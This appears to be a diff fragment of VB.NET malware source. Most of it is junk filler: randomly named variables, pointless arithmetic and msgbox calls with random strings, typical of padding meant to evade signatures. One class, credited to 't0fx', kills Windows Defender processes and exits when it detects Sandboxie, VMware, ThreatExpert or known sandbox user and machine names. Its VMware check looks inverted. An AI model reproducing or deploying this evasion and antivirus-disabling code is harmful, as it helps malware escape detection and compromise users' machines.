Dim usZwsmjCiFfaloNjCcytlASdUBamIEachGBJQeVCEgmECfUcjxlkH As Integer = 8844269 + 463213 + 463213 + 463213
|
||||
Dim GuyXEOJDmGaew As Integer = 4428768 + 664062 + 664062 + 495694
|
||||
Dim lDCnhHfxjQWltgJifuKSfCcHAj As String = "fSkNcnBtGyuGHqrGroCJqwvmxRcbiNwMIEhkOYgfPcNUI"
|
||||
Dim kxkfQHOktIRWQQpcggSeczLcVVDqRjWWcFHZEjFrhSOEodBnJMdoYinG As Integer = 669190
|
||||
Dim lcfZfGWfmdraxalDxmYjsFXnkYrXWHacxUYkfRMvmxiIgWwZhprfiPbUUH As Integer = 9913266 + 1065761 + 1065761 + 1065761
|
||||
Dim NanJseDuziqzxLqBuea As Integer = 5497765 + 775176 + 775176 + 606807
|
||||
Dim dCSgwfFXeboOhwFuVHKeXoQeoH As String = "VsfMBNntJwhnGfSmDLRZwgUlQbmqsiWlfQytywNkdJlDdCfINT"
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub BIsxFZReTdnaQsijSMKJhTMFHOYoIJEOvcYATX(ByVal UTzlLMgUqAvvKKjIxjOcRIMnkRMbVSrvtYXeeRDSmnUusZIo As String)
|
||||
msgbox("dbvTuewFioJElqgOnYvkrLLXwDVrJXCmGsakcujZXjGEHRJxgvgUOTRPjxSHrqGEYlDaoOMkLHYqjhdBvgoBGbjmuiGMRrWyTKDKdNOlrMIokkwSgOUaispJUrlCykZsgwckKyQwGhKvbiqTdaanKaJAvGLYBdrFyecvwfvmszhFUjnYbzHiyhTiNKgVpcHKpEnEOfd")
|
||||
Dim zpSETHIbrdceMxAgBGCCdUupaBnKeMBsXRuByDICfOTILpEcueWZNHC As Integer = 9362423 + 517071 + 517071 + 348702
|
||||
Dim dQlnUBUhSbFNcCSI As Integer = 4946922 + 717920 + 717920 + 1087138
|
||||
Dim fvXZYgfOgyaExCRiMSIHKchsrUxdCGCmSsCQFXakYox As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim MvLCPZfuyIhkDjEptEXCKKKoQGrzbDZslXkRNNUKFcILQRpfdhAlD As Integer = 8811579 + 459815 + 459815 + 459815
|
||||
msgbox("qNoQYuQjeFPEfdfWIYViiiBbJxpaglXzFkdodDTmlqooGPdCgAyVznXGowgoZDicxnidygcnLlygTDhgbbtYnqLvGvijkdmmEHFevmQHrXtdhCScgiFjLuNzdwGeQKyRYvmlbNPUkbZKUMLkFmzjXzeIcZVbgjXVGwiJuhhEyPSNpCdZpPWSBPVaRLXRZMMhoDArmeSPLvS")
|
||||
msgbox("MmKhkXwElkZgiWxfthBYOfpaRDmrEwCagCCjHCGbbOaKMOQlINSuyzwHbmogTeKgkvhNMKNOpyyOgIfDWbUORZhONGlSZWJBXrSmvwvmIeuLlGukErajrrEaxyedTHtewqFUOoZjPIJOkkdUqNfVgdhgKOObMMhFpvoaaNTvtlnmlWC")
|
||||
msgbox("cvDNWhDBECBwIsGzPnlbxPsCvHUYkpfgJmsvYljOATDVEztJSilUobuioYljdoxitVhznKHOrWQXemEOzIKCZVObHbBIsknbMNKDRGXzqPQYUmnIWUkusdBbOatQUKEIeWBcwJhPKIgsQhyobnSijJgZcocvwwYKDjrTBnGPJmBHGkzyluqiVniBqNNLdRRSSjRUPpTTZLVgrBmgGgkiUoeKXstFnQjQWcYqirxkNeTeV")
|
||||
Dim XJdcVmgQXvbjWsShejKLohCmGJDIoetnDmZwpFEWozNklDcdPIABWOQc As Integer = 813476
|
||||
Dim dMuolgazLvXyIihLHveiRxuipTUCGPQcIuiVJJxRKzLfYPIUVjgciENS As Integer = 753618
|
||||
Dim gezwpcsLYJNUHqmBLzMltBTrFlOSEWZjPGgTnWvMSUISilbRjEUHNax As Integer = 606360
|
||||
msgbox("EhQHREhaZJxArsBlNOxgpETCduzRhFIggvwFzZLSHhNyOYQatUgcJZeHDvOZHlDkzugEtbIVWYnhsyJqJnqGrPsScPjaRZmktgQSFmrXjQQktBXpTYhwBdWgEHhTxfVvHuJsgkNbPuNznNIUPXUgLHIzQcKWgDemZNuOnFfhUSnsGPnhdjgDVzROApXhCaBDiRmbhZPAxgEXaazJJEhWGbmIKqjJnSaZmBoqNFPBfbyWSijKclrvHGNvZIKPBpklLyIq")
|
||||
Dim UyzqIOZPumNpTikRSOjPoPzdgCFYXLyvEcZHWkkkRUaotrVijPgbpCU As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim rdUrBQfITbZMKCEMFxlbzShfVTCMIVNqF As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim gytCncrMRZbteaLjmfcEeIuOf As String = "INYlBymzPIRDosHDjgiSaQOduSturBheIIHjMzkGuSuwgBXkEUQaoQwowPterr"
|
||||
Dim dBlIKDycviSIzuTEamBuENrbIPHePMdlqHrTmynkvPXoTCzEBfJaHri As Integer = 126466
|
||||
Dim uoxkdsjsLkE As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim dJHqQioyxnuhBZkzWtEGcSgwC As String = "FOpsqgeICovITBilcOvKnvUuXoQoBeTUJZwFE"
|
||||
Dim kKWNDBWxPKOd As Integer = 4255792 + 646083 + 646083 + 1015301
|
||||
Dim oBEHGxgtNqVZfVwLrqopyxymsWXnjhvVADjIptGarjGZUnmPIMVQLlCR As Integer = 653464
|
||||
Dim dEXKPHgwhhlyjTMaFReECMCVGtkyIArKmjtIpuSfJvERZliuJqHWrLz As Integer = 653464
|
||||
Dim bzzdBJgUlzqEyQpeWThJatFKXOcFOWPaUSDpSpkKPiRyMNShONVcaBvra As Integer = 9740290 + 556347 + 556347 + 387978
|
||||
Dim cOmXMZgYRvYsfDLHXi As Integer = 5324789 + 757196 + 757196 + 588827
|
||||
Dim SwzUkioXeGPWQLWyCPkuRXUgBB As String = "CHkKEXoIqhOpszEvCylgXYMKXXfWGnFvsILtSmbEhWCAcrmUOSOoTYAhqQPZTdzR"
|
||||
Dim cJjSbXgidrMpZJEtimYpuQAcmlVqpPgedwEQQGTEQUzJPvZsDUlPhPYw As Integer = 750646
|
||||
Dim TyPXQgFtgKIing As Integer = 909288 + 1158894 + 1158894 + 499091
|
||||
Dim ewtgQUqywlbHqHMIUkBnGNNam As String = "YVamzAhsRIqehDtXDsgHZVljdPtFCwFNJBdteSOvJhSGcq"
|
||||
Dim MoiyqtIYhmoFWaOauXtnQthUiQHkitFJPshUclYuOHgbZYFylQGXrZRq As Integer = 672161
|
||||
Dim vYIavJIQPxWDjKnHXFhuIOTRQfNMLXSPMzJnOtrFWFTFxKNDYfPSYNmJ As Integer = 524903
|
||||
msgbox("kZkrtTGbFxtJnXOezmoKvknlHwhmVZIqbKyojwaJmQBDEbvCYdQaRcwHGTHlEhLGJlDcQNuFojUaxJDIMsmTPBWrYyWbamhebRGhKFvRIQIDpJVzJtLRKwutEkkGfENbRPflNMvncYMARfbJuuwWCNumEnPzKJCzozPbbtZgYdAUPrJMxkWHUBoYmMXigTzdjOQiWLNqQeJIHvDHaIfBlLhYrjXCsPTJCLXfAyXJrxUpqnvmsRX")
|
||||
Dim wrdlEiWRqByEkKHjwlNiKcETptBGDmjkzMeBGpOGkoYQBPikHPt As Integer = 6706274 + 900790 + 900790 + 240987
|
||||
Dim SvUhMLvDTnjsxcxUacHaXGZXqkBNP As Integer = 3910614 + 441836 + 441836 + 441836
|
||||
msgbox("MvnlpRVNuNQrhrOJOFWVVZGzqFIhtzShTPXfACUXdQymxkbHksJLkVBVHHpUkThWzcOQOJLNVzUNFMBZNWhJoMVfYZpPOmMekpUWahSRkeNkkhGMsIxsBnyekVPuBtoJVQwaGJYlQUleJkaVUPNmtnQTkKZlRdvKAUDDcfMWKlwZvKqDoGnSlBHBWGaQfePlWPxiIiOaM")
|
||||
msgbox("TlbgaojgmgoiukKgeLHYKCtysyodVScjBxpFfxmjuRNSVWIMCokMbHPdXwfsOknMsBuuaukTLWKiKMqwOeOPKESovhnZJrWUQvxfjEyRHwJxmBWranUmkhevKTxQjMlHDnVgNcKDZbrVGsYqMrrBqdYDKIlTTjSMkDMfpfXthUVMyMbFylunEbQPMyewHuzUClEbbpkYhvKhTLBQNKWNLGZnnbXoTCFTFdkYaYqooOnAFXAQTWyyBCUEzrPqolGGkeq")
|
||||
End Sub
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,73 @@
|
||||
'anti threatExpert, vmWare, Anubis, sandboxie, windows defender by t0fx
|
||||
Public Class ant
|
||||
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
|
||||
|
||||
Public Shared Sub mofo()
|
||||
seekit("MSASCui")
|
||||
seekit("msmpeng")
|
||||
antiSandboxie()
|
||||
IsVmWare()
|
||||
AntiThreatExpert()
|
||||
checkUsername()
|
||||
checkComputername()
|
||||
End Sub
|
||||
|
||||
Private Shared Sub seekit(ByVal gay1 As String)
|
||||
For Each p As Process In Process.GetProcesses()
|
||||
If p.ProcessName.Contains(gay1) Then
|
||||
Try
|
||||
p.Kill()
|
||||
Catch ex As Exception
|
||||
End Try
|
||||
End If
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Shared Sub checkUsername()
|
||||
Dim Usernames As New List(Of String)
|
||||
Usernames.Add("UserName")
|
||||
Usernames.Add("User")
|
||||
Usernames.Add("honey")
|
||||
Usernames.Add("sandbox")
|
||||
Usernames.Add("currentuser")
|
||||
Usernames.Add("User")
|
||||
For Each name As String In Usernames
|
||||
If Environment.UserName = name Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Private Shared Sub checkComputername()
|
||||
Dim Computername As New List(Of String)
|
||||
Computername.Add("ComputerName")
|
||||
Computername.Add("COMPUTERNAME")
|
||||
Computername.Add("DELL-D3E62F7E26")
|
||||
Computername.Add("DWI-9625AC2E275")
|
||||
Computername.Add("MICHAEL-F156CF7")
|
||||
For Each name As String In Computername
|
||||
If Environment.MachineName = name Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
Next
|
||||
End Sub
|
||||
|
||||
Public Shared Sub antiSandboxie()
|
||||
If Process.GetProcessesByName("SbieSvc").Length >= 1 Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
End Sub
|
||||
Public Shared Sub IsVmWare()
|
||||
Dim Hndl As Long
|
||||
Hndl = FindWindow("VMDragDetectWndClass", vbNullString)
|
||||
If Hndl = 0 Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Shared Sub AntiThreatExpert()
|
||||
If Process.GetCurrentProcess().MainModule.FileName.Contains("sample") Then
|
||||
Environment.Exit(0)
|
||||
End If
|
||||
End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,146 @@
|
||||
Module cxkyNFhHtwMVSyxBWPea
|
||||
Public Sub EyhqJIBIzYBhWsFuUEQviWCZqkSfdPKXNqGUdkJQiH(ByVal xUXstPAkyQRqnvvJZWaIYzgrmaMnzEtuecuqFPvKuThYynuoJ As String)
|
||||
Dim rnLHgtpvAtarYLgShnF As Integer = 1945596 + 775176 + 775176 + 775176
|
||||
Dim RywiCxpyYniDNYhDhSEntCGYY As String = "TpYkVVltQlCUXTzwwyYGswfnxvGGULfkrgRysRJiSRqCdrJhAD"
|
||||
Dim brCOYtgkqICnyzpAztiGllJfWTKwZLrtXKcCOzensahDnaiHQhDrreDZ As Integer = 766371
|
||||
Dim kfjJvkRkNTeYgTWcpARgSCPoBwPIFMtGRUEerghcSFMwvZMmUecNkOpm As Integer = 619113
|
||||
msgbox("BRDGbQqwLEPbgfnLcALvIVpjhsFKzNolFLHCDQmkzlJZXCNSsKBhTjoGGJMCeTKlICIHJTWvYRqESpXVsBpdDelOuiMlpbCIVIvnStSwgzWoJMKHUBphGSeTyzXimBbHPXEIbMfMeVMYgXJkmrBXvRpkkchsbahUWWLzzvdmaRiiZZJXRYvdRpRVnrUuZViKaoeo")
|
||||
Dim DsOqNUciGzeQyHJeOEBUHFXqzVNbkwtOqhooDxCmFTTKedGITamRDuSQ As Integer = 3014593 + 517071 + 517071 + 348702
|
||||
Dim vGKmGgWSzaiMnNc As Integer = 4946922 + 717920 + 1087138 + 1087138
|
||||
Dim eJjxkzudTjBrvOpEfDIFZvOxevnRKFNtigIzHBhkqswv As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim kcgIHgVDysrmSpydVGnNXARxMIbpolfbCnNbNjyKLaQuUbvXvoF As Integer = 8811579 + 459815 + 459815 + 459815
|
||||
msgbox("FpnQwFpZtPXCmMHgMJLifPEpRsKKCFgjmzProcxLvZLTpCOUazccYBlOjTCWyashmROCqXNRcoupPSuuAVQwFmkziLJGmiEuEvnyzHWEXYeTbnZhjuLPEDodcEkGLRTCtPyFOZVvlrcMuGdmvoqpkrfibQdusgyuVUaxbYLLkJkNWqdbOZGVNCSNPUGrKzewigxOcWUidHN")
|
||||
msgbox("gnUnZlBeFyOHtdAaIlkLzkgLzwXMdZIMVgBKJjzFWRKNqrvngmaPSpqGnDnUCPEdNfaQCTEVgOhDwtmWDBlREzzSuUhUnNRCBAiabzchEnGfXJcVtcsgCquNMOfziTdjGjnywTbSBlvMTtIdcEVSnvqosrmOoDPDKiGrUtTiUhOUZN")
|
||||
msgbox("HtzBIhcwvQxgTdbJHHRXaqRhghmJEQjkmyEYeFswImJbxwMnLVEdCfoqZqnOKiabJmWVmkBdoQKMTBUWcZApzmkZtZaJjczBeqcgQSzPWrVilHLOxPYqraXIIlbCPELovZOtGSNZsksxvURCPdFESLBFKrVUUGovlOfpIwAnyieEFMOzmgcHfHmddvnhKhvZAWEadHGNDkYXGvBTkSUVYgGuOmYHvsLsINsgzbxqIq")
|
||||
Dim iuqyjGboemztMNSKGJyVfeYFMtTNTwtvKWpIjVsTGCMemrPLZtiEQTUa As Integer = 813476
|
||||
Dim akMzblErCOWDjZgNGVQyxRamsQqPwCzAVwgebTMAeXdoXfwPJsKhqCic As Integer = 753618
|
||||
msgbox("tNQJWRHpVATfsSgIUYWexfqNhZWsvvoTvYlpEqOhKpgyRIRfUTwdhegljFRtcvApEYDsiqHdxuKhKInGYSTwVhVYFsEhJJnLtSOWYMzZxGZjZXFSFpfaxkwjUkDFsbTEUixjxGQchWYEPwytOMaLhDYJULDdEsRWgzojVRxwfIXkmlGoalarvzcUZhauBNOENUjlAT")
|
||||
msgbox("aCwyOpqJLYdwKDYXUeskfJbSnjWliKXJAJfklbYkQGkGrZGmnlhlPnqdvoVBDwPcOPepQBEbptrevtESVOTKwozUZvaJJsrDQPHVfjYOkgMZwiGxTKQNBipaZzBSaTrVJFdlHuWhDOJyXNCJhToDGqDbxwMketGLufGrWEkNulyKyBglPkomhcHvgWSwoWHZlEwiEoMttRCVgKREPdVdBUytZFZdrzSnKUBTtHiJaKqsOqWweiyPnXusOgWQzWVWmHd")
|
||||
Dim xsqPasAWJohbGXSaIoYJUhSMOFdljqmeEloUFaIPjUEIRoBLrZWfExr As Integer = 7602295 + 993924 + 334120 + 334120
|
||||
Dim xsbfhTYZzZuKKJGpqSrQcXwFMZkQILMrb As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim zIuHdWZcDFIcInhFpEFiaHjxqqzHGcGEhLjxkVOzOpEmiyqKhLnafvMm As Integer = 703541
|
||||
Dim ucSnWbmqvTfLwqGcgzDahaycWfbjoaLeZRHuaqQnFktmXDrrQFztJCwx As Integer = 126466
|
||||
Dim lNNhippszNQ As Integer = 8671292 + 1105037 + 445234 + 445234
|
||||
Dim ZgTFjfAgAIyOsbZBsAoIlsLPGP As String = "ghfnewTqlBwtbvhylCTghuGpIayRdfJZshgpQ"
|
||||
Dim bipzzBqrBbnzw As Integer = 4255792 + 646083 + 1015301 + 1015301
|
||||
Dim LqyrkVNAQRXrxZHbgPSMrypowthjBQThxVtAXSvfrrjtjpnFoOLHamDG As Integer = 653464
|
||||
Dim mWRvpjtMhTkkmpfrCrrMBIvBpelpPzBXqPoeffGvgoErkKDUqouTh As Integer = 653464
|
||||
Dim EHlrVgIGyxSWkxCZTrwTUxSBqhfmjYJwTmdTaITymiVCFDADrkmFNyeCT As Integer = 3392460 + 556347 + 556347 + 387978
|
||||
Dim RfzioxFBprujDcXDta As Integer = 5324789 + 757196 + 588827 + 588827
|
||||
Dim aBOagsgQsWQQCeubfSVopRGCFR As String = "IulUWpHBDZautIcpKOLCamxFAElknbbESgqnwOugTKmZlYGvyavFxHgRaDPPCWa"
|
||||
Dim LIzWcMiuvHQCSXqgjcZxzzRPbtZdkmyFYbbvvsvBXSDtFLRoZxlDbRM As Integer = 750646
|
||||
Dim CxbmbTsOjswsnT As Integer = 9189446 + 1158894 + 1158894 + 499091
|
||||
Dim yhTuQbGfemguZzOxZjZtVEuzQx As String = "mPazFNpotibycMVsbkzVHMdRiAYIpzfnOCKzoMrlzYhAHM"
|
||||
Dim GXqgkZoqDfsYjTxNYqbyJVncBTbaZIBhPMWrwGnJCeMYTMdnpOqPiXKh As Integer = 672161
|
||||
msgbox("NSvnpPeUMOzPQuxTYgZtukYWtDkDTgygtqeXWOGOyzONwWEcEJZodfszMwEqNaotwMgSlaJviCnttNkdYmozZCwjVjHsdUosCiwlqbGFyYSVQsKKNPPrqaFPBQnXVrTRvGUsvsUgdQyHUoyMFvwdldphntsuzTwFJhvAGATMEfaTNdWWkeeZQmV")
|
||||
msgbox("JxgFnZZVcOylgTuVSBjDeyJwHDnlYQhegqXWZQEVHmnjkJRXHxxIfnGoeELeGktNSYWVnCdbFHFkXkAeKZkccBZHFeVsoaLztqhxgCufgPYDwfHeDXLpViCIxWshCkhlhjfailXOfTSIWmtBpzMnSPrlToCUlwKSxJqZjlMYPaNVlmMqlOPtHeunhndZdsupCbsQXlQEzumLeNNuEXwaeJNIEcuSUInyNqMTnSkyhQzqzzGKijEX")
|
||||
Dim VPaAznpMNREhdHnbPAJbtqaepAHFHcIXErDiwIsSFLKwhyFFqja As Integer = 6706274 + 900790 + 240987 + 240987
|
||||
Dim JPgpTBnlvnsvDLxQxfsiEzhjEBjUm As Integer = 3910614 + 610205 + 441836 + 441836
|
||||
msgbox("mJcfXcMUgffyLzBGnsXJwbFVnbofrmHonsUVxGHjmMgDafyHMkvlTvmHkTOtjMYNzFqlMiXBzpJpCgsZzCGRsXInNfytduhVZpFkqdxCTIcSVYbrAqRJvcIuYEEoBDYtPscYKLUXwMuFdlrRvqVCfaKUmxleJlPVKWKyCfskwrciQLGALuKqCTBYrtohJTulCgWQwlJ")
|
||||
msgbox("UtYDoIcFzgGvQocJFsNYOTpvEyLJwjeskIutIaAQhyIUANVnvnYITtUYLKwVvnfgtQtNMYgdoWNRjQCyCljjOGUFeouVXFdoWEwxTHSIfExQcTuNfjneJgOTBmPWosxhucHgesMdPSAXHZtVsvPRmVarHrZOwWHOROmPBFjbbPRChIVKVWKNFBaNhGVKCSeWVRjNsYEswwrTJwsWwNUeWAjVHfyaPGivplrpLXsPKPVlwSjsFYnhttVFQRCYrQpZHZGJPfV")
|
||||
Dim OUNUSPMhXsSFvKRVVlyDyfuydPkFkbPhXWUIgtWKMHgyJpNTMwPTLSKT As Integer = 7775271 + 1011903 + 352100 + 352100
|
||||
Dim zHFHhGiMNfPLwyNTdCUPJQXlWXqcPvTNNzfWTxBdxYrKMXmJUsJQuvhItj As Integer = 9707600 + 1212752 + 552949 + 552949
|
||||
Dim NWDLPVJtZbCxYKSJemShFghRkIOrFWHVGUWMpOdwqJJPQDcSppFhOePi As Integer = 719266
|
||||
Dim QwYFETxTRohuNmnoHpoXKcwytCGbJZvHcywphqVgfpBWetwZSEIbNeJ As Integer = 572008
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub yYorRqaZDsHjakPSWWvYVePudJcMYp(ByVal XzKuDSlsuAedslorVFhVVHkAbShjUWpVsPgwdiOpgmdmkEK As String)
|
||||
Dim jWYkWiinkuGMvXGTRErmud As Integer = 2496439 + 463213 + 294844 + 294844
|
||||
Dim hWvRJPJMdBawjTlquWeMiNCTEoSGyuq As Integer = 4428768 + 495694 + 495694 + 495694
|
||||
Dim oYofFLgANnNhGNmfPnWETMCRfrmIhRgciBYYkhhILgRUvkyJpfwhdCcI As Integer = 669190
|
||||
Dim pGaLgKqokzhEnIXzSnggCBIXhObMqOzdyozULHuoasGdyIPzHecBtDO As Integer = 992114
|
||||
Dim gxsSaYyUaSxnkExRbOoyZEVDSGhfUUBGybJJWUGDFpzbiYFDmV As Integer = 8293425 + 1065761 + 405958 + 775176
|
||||
Dim VUcvnKsBeVQlarlmIGZnNexAvc As String = "gJjZRZjDRhyKFDsUOfPnSkMEdnKwoTyWCJzSdvHEAtfywnQu"
|
||||
Dim VliDQkpgEUaFWrWXUIzNmKLE As String = "fpUrqFzlVvDMoFncvrZzchvTTicdjPOquDBfdEBgmEktafwBqfXIdHgczXQsFJIb"
|
||||
Dim mOfZLzQJxirDJkyRfynUQQcstCIgpqeZDgcmHKiHBegGkxnPkhoDEeqh As Integer = 619113
|
||||
msgbox("FsjjGeTHRVnfSdzMsAtBPerUjMoJoiTsdIixlgkniwkReaIgvIaywGorgYiiveoKvCJrllGUKDCCIjwanKjaFQCZKIZdApblwIOMUCHWmXsgTLqOIpYaFPKoHwPpUYJrVIzDBlPPCoIzYPRSvesuKLnEOXFOPnMyHjRMvwHUvizBoECGpNvdjNNqRTxtCpMatVShQqJHG")
|
||||
Dim DsqgzmSkMVxJLRxExziLEQrdgCnfQqKRKPgkWrfPTGcHwQjxFIKWsin As Integer = 9362423 + 517071 + 517071 + 348702
|
||||
Dim krklYixzxpKhzvTp As Integer = 4946922 + 717920 + 1087138 + 1087138
|
||||
Dim qjuDaEcmtBshrRhYILbQOBuHNDBJEyXvKzfDKrlxxcAF As Integer = 6879251 + 918769 + 258966 + 258966
|
||||
Dim RJdadHqdNqtbMXXbNiReNUMqzKEormWFudJZOHYjlGySpUrvwupt As Integer = 8811579 + 459815 + 459815 + 459815
|
||||
msgbox("FRcGvXplNGmMsHdXWEBVrIGTWHFuggkLjhWyqQYcvacMJyewmadZxiJoroeWYRpbUNMmUlngbCkOXxOCsvOlKzsotkpQMpQfxKqLzpJzQAHZuQVWFqkYaJCOooYjqBjQUHMQhssRJmqKXjbAYdPhwPDvqFZOOdZRGMFnQedIyQZbJcbaKpvGOKnFhPoSIDhapMKoSdP")
|
||||
msgbox("SnhlSNtzBLSmWMqFPBgQyMYevTTNIHoJKuHTAZbwWLgFmEwmXTJwTTDrCTNwJAXOekyNKVVWWmeimGnaYTAvtWFCdVOWxrbUIICiDaxOipIjetjJCCdhyyyIbRCiHVQeQOuoTaMoXLXWsHclXJIraEVXmTCWXbqaKcJYZbFWljMWgbTOeRzeesHHDNlXPOjfspsQUUhPhXSnjMYQaUQDljxrduRsLDkaQuIYhbiLXDcfj")
|
||||
Dim FuKlVavBUFlGvWTYHPesMULVWbztCwKFEztrsADlyYXedRGwjoklBziS As Integer = 813476
|
||||
Dim WnpFggJLihDEoSpVTqoTDjNzMVfiaFRMdkWaYHvpZfDzRIZkVbpneMN As Integer = 753618
|
||||
Dim IIhIOuRbFvHATPiZxmDVFnnNvWfTzOGuVSJEvkntWwZiJihIJbiVkTE As Integer = 606360
|
||||
msgbox("xHQBuJuVaMLKIfYggKzZGjrSariFiOolPOVMpvSDaYqYIGVUclcVbCAyKGnCRvAlIGfTIZcpZqqLiZAJSCnsuzXeedCBkyrwYeXvJfHtesMOcsxsHeavPCnIiyoeBEybxPkhCBfpKivLBZwuJxECIzUGygbsoWhIEyqWFlZvSEMXimpVIOPwrvqRziHqPgpZsfKXdsTRtNcAacMZoZHpJWJQBBRWLBpsmRYMjZSrSSQTeOANQKEsXOeLtipysTAU")
|
||||
Dim IhZjrZhaqOGhwmhbDHMkyTyYBRAtXWvthYCqvlaHLLxPZSzCslknVIQP As Integer = 7602295 + 993924 + 993924 + 334120
|
||||
Dim mvGnjWmhEOPxcxTlcRTbtRgOTpgNqijPJ As Integer = 4806635 + 703338 + 534970 + 534970
|
||||
Dim vZXhTtINccnnWFuNXlNlbLncRK As String = "tmCUsTpXqLKgXFVjagJirxcsosmnoxXjCONLsxQKjMPuvtiPfZBpdWwGlnnWjb"
|
||||
Dim ODbrOYLLwPjPfyuIknTRaYDEGTYvmUCaKftlkyaxsIGlyvxXaRqgtnIC As Integer = 126466
|
||||
Dim WtydiWtXVIv As Integer = 8671292 + 1105037 + 1105037 + 445234
|
||||
Dim AOXYXVNBCKfbIKojwdxdSQvTK As String = "TyjKHbgsxyyvnuScpLRGoUpBTuglCwcBBTQrg"
|
||||
Dim vJyEryPMCWrDf As Integer = 4255792 + 646083 + 646083 + 1015301
|
||||
Dim OMeEVjGMxNtUDUgloZvRkjiTxxzNvYTUvexKKsCVHZGfiylszzutcck As Integer = 653464
|
||||
Dim GxZzhxIOBHkXTtaUkgSrlpRdsjyBcehLkQJhYvopRfIfPwwQTOLdZffm As Integer = 653464
|
||||
Dim ooVnUNNlUrxaejTfXwVThIhLnFIuUfnCRpQFHfXRtTTGHuCgRdfbHsxJRz As Integer = 9740290 + 556347 + 556347 + 387978
|
||||
Dim erulyAhwLpBytsmkK As Integer = 5324789 + 757196 + 757196 + 588827
|
||||
Dim UZOLFOUeDSZfPDbNXirMuTpRsr As String = "cWtYOmfWEUexbQRVOCbttYrZpoAxigSXphShxEYETrXlAddmEKRjqhTlXkdPbPXt"
|
||||
Dim HYjURivbFlrocGcAuHibIKGVqZlZNUfRdKLfdCahBFJPNEYzpuxCZgj As Integer = 750646
|
||||
Dim OSnbXYqYkosiVD As Integer = 909288 + 1158894 + 1158894 + 499091
|
||||
Dim IRLJiivRqgGlpWnyqMtNXKfVJk As String = "otWzacEPFescqJylGGvrKqNkyglsGZQnflxOICIQQBHsXc"
|
||||
Dim SsCVfdmAFcoORDplpYTrErrAIBIeBxKRWCGCDHHWrRWPVTQuFFqcyOMf As Integer = 672161
|
||||
Dim kfQtOMcxxmjmJcCgsondGsHoXIeexIQcdjsAwhBcTVmifVzVIbXnaL As Integer = 524903
|
||||
msgbox("rbKqQJPmHEaVSDEZBeEDxHfCVlRtNbEONFuciZGrCrztRCLnMxAKlVNrsxyxzYBOvNCIfRjBxqBvrqPVZWssGxRfhVGnoWFCXDdxPKTDaCbqytmOXCaRSOMGVJkepxnVZaRJshfnUdTsvnxEoruvcxTJqMejKeTGmiPIYJnsNWaRqQhFsustaIcbhjSHrSyqbQHPSOJmhrbrHNlFEWXZXLWwuoMFmUIRWZkcZbMMlHkJGWfUzcQ")
|
||||
Dim gxBtZttjShkyQdvjSHPaLnxMSlTRHQxoaSbFhvPnzIykbjIIStz As Integer = 6706274 + 900790 + 900790 + 240987
|
||||
Dim NrLSyPPwAEQzoIJQNfajYVDODgfYQ As Integer = 3910614 + 610205 + 441836 + 441836
|
||||
Dim DBcIYElrJwatJwmdBjqfVaohlW As String = "TBVTfNIyPpsKDVauHuGOmNtlXLwvEwKFjsemlCNNnbWIACHUdCXqZqoKXx"
|
||||
msgbox("IrNFsmzvipbVIjyGMBVbDgeNQpihfxRVKhFqycxrfyChVxZFargjHFejqOkfSyxLmOqcPRjzBJPuPpdGkVaJLIeKfsKeBCWgxWFXORzMneUkehsnSpKYHtqPxAHYNlUrALlfmDOnvwwTdiuTOinYLWqSgWdIQGULmQkvlFyPszqbzLVMhJElyFoVnZdZWwLuSEPQWzMjAdvmqRMBUbKwhLAEiyeDpcMNzuhyTYAsDkeaNqPWepmFgjWWpBGRTnjguHtNjCj")
|
||||
Dim VHypHZXEQDkdRwiPdOnpAUOBQltluOdrWSdQdQsLsofoCBHMhbyERwb As Integer = 7775271 + 1011903 + 1011903 + 352100
|
||||
Dim mNLwWkbRbnZMgNzFLJQFcWCcbqLUEFlFhgsmrwSMimUCfDFvLsHyuabFru As Integer = 9707600 + 1212752 + 552949 + 552949
|
||||
Dim VKYvLHsTIWiExjYSUuaaPLeNVz As String = "ZlQkQaXEBDCmrbLlktjJGSJFOPPHPHPmsiWdaNIMzYotCqbbbMsCnVCcLUMlgf"
|
||||
Dim mxBDmOKOKwQulWxyofbEJWQImluXMUbpjrIKiaYbItGdTbVLEeDIwPPW As Integer = 572008
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub GDJZVzQiRElhEDQXEBwXubtYXDoZch(ByVal JFQjswewIIoAMGXaZcBXocmcGuoYYdogpZcvUczxatPVGQXlB As String)
|
||||
Dim rITPPmwycXosoJXZQgNupSoZoRTJUhLgYTOsnttDXJJmumKxjQtxuO As Integer = 2496439 + 463213 + 294844 + 294844
|
||||
Dim XEDuqpoaCMSUtbaJCjKpQqKofauqWTS As Integer = 4428768 + 664062 + 495694 + 495694
|
||||
Dim JhiQYHPJlvlIVQLeWcxYvzMzRCXYpIrZjDlLUPEKbyGFEqOuITVPmePS As Integer = 669190
|
||||
Dim dEPOkoNeTICefCsvZwojrPxqtEykadlGYMLSBJqbmamTdHlBJuwIchQX As Integer = 992114
|
||||
Dim UtreivXyHthUBzRaaWcWIRYDYDaRhnvvoCSEECwtZmRXbTSrTPcfGwKOZCb As Integer = 8293425 + 1065761 + 405958 + 405958
|
||||
Dim QxMMNIoRFWjkFVFhtaqkUGmuKxqKqjEUbrwCM As Integer = 5497765 + 775176 + 606807 + 606807
|
||||
Dim yqyqweqzapfgtMygpsNrWapvLMfoDeDzsPHdEEeytwfVHTiUFIbRuJho As Integer = 766371
|
||||
Dim TFPCXJTGdEIcLfPJSOQPpxjNvmIhiFSSnQeRCBwHRKcGMNObYVXJLVAF As Integer = 619113
|
||||
